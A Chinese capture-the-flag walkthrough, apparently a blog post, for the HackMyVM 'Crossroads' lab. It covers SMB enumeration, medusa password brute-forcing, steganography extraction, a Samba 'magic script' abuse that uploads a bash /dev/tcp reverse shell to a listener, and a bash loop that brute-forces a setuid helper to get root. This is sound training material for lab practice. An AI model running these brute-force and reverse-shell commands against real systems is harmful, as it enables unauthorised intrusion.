HackMyVM:CROSSROADS:1靶场解题过程

信息收集

寻找目标靶机地址

其中1.1是网关地址,所以目标靶机就是1.147

端口扫描

找到目标靶机之后下一步就是进行端口全面扫描

nmap -p 1-65535 -A 192.168.1.147 -sV -T4

看到常见的80端口,顺便访问

发现这个靶机开启了smb服务,可以把这个服务当成文件共享服务。

网页信息

渗透开始

扫描目录

 dirsearch -u http://192.168.1.147

发现robots.txt,直接查看

发现一张图片,继续查看

将图片下载下来

sudo curl -o /home/kali/Desktop/crossroads.png http://192.168.1.147/crossroads.png

图片信息爆破

kali中进行基础binwalk提取

隐藏的 Zlib 压缩数据可能格式异常,或者在文件中嵌入的方式不符合 binwalk 支持的常规格式,从而使 binwalk 无法正确提取。

隐写

寻找是否有隐写,首先需要下载工具stegoveritas

pip3 install stegoveritas

stegoveritas_install_deps

两步下载,成功之后查看图片信息

生成一个新的文件夹:results查看一下

所有的目录都看了一下并没有发现啥呢么有用的东西。

smb

尝试看看smb,用enum4linux命令,在 Linux 系统下用于枚举 SMB 服务信息,它可以收集目标主机上的用户、组、共享文件夹等信息。

enum4linux -a 192.168.1.117

发现共享目录smbshare

并且发现一个账户albert

使用medusa工具进行smb密码爆破

medusa -h 192.168.1.147 -u albert -P /usr/share/wordlists/rockyou.txt -M smbnt

得到密码bradley1

漏洞利用

登录smb服务

smbclient //192.168.1.147/smbshare/ -U albert%bradley1

登陆成功,也可以从文件夹登录

smb://192.168.1.147

进入smbshare

使用get命令将配置文件下载到kali查看

magic script选项为魔术脚本,这个选项如果被设置了具体文件名,则Samba将在用户打开和关闭文件后立即运行该文件。

上传shell脚本

bash -c 'bash -i >&/dev/tcp/192.168.1.118/8888 0>&1'

打开监听,上传脚本,实现连接。(先开监听再将脚本拖进去就好了)

nc -lvp 8888

监听成功之后

拿到我们albert普通用户权限

提权

生成交互式shell

交互式shell通常用于在受限的 shell 环境(例如反向 shell 或受限 shell)中,升级到一个完全交互式的 shell。它可以启用作业控制、Tab 补全以及更好的终端信号处理等功能。

python -c "import pty;pty.spawn('/bin/bash');"

1/2flag

我们发现所在的是smbshare共享文件夹,接着我们返回上一层看一下,发现user.txt,进入之后发现一半flag

爆破图片隐写

并且再次发现crossroads.png这张图片,使用smb连接进albert目录,使用get命令下载图片

smbclient //192.168.1.147/albert/ -U albert%bradley1
get crossroads.png

将这个图片下载下来并且使用隐写工具stegoveritas将其内容提出

提出的内容会在results文件夹下,查看里面的东西

第一个文件就是密码本

为了方便给他变成pass.txt文件

返回上层还有个beroot文件,运行发现需要密码

用到上面的密码本,并写一个爆破脚本pass

#!/bin/bash
 
# 检查 pass.txt 文件是否存在
if [ ! -f "pass.txt" ]; then
    echo "Error: pass.txt file not found."
    exit 1
fi
 
# 使用 while 循环逐行读取 pass.txt 文件
while IFS= read -r pass; do
    # 使用 printf 传递密码给 ./beroot 程序
    printf "%s\n" "$pass" | ./beroot
    # 检查 ./beroot 程序的返回状态码
    if [ $? -ne 0 ]; then
        echo "Error: Failed to execute ./beroot with password: $pass"
    fi
done < pass.txt

将脚本和密码本都上传到smb服务上,再移动到albert路径下(拖进共享文件夹)

进入root

运行pass脚本

./pass

发现多了一个rootcreds文件,cat查看,爆出了账号root密码___drifting___

成功进入root

找到另一半flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值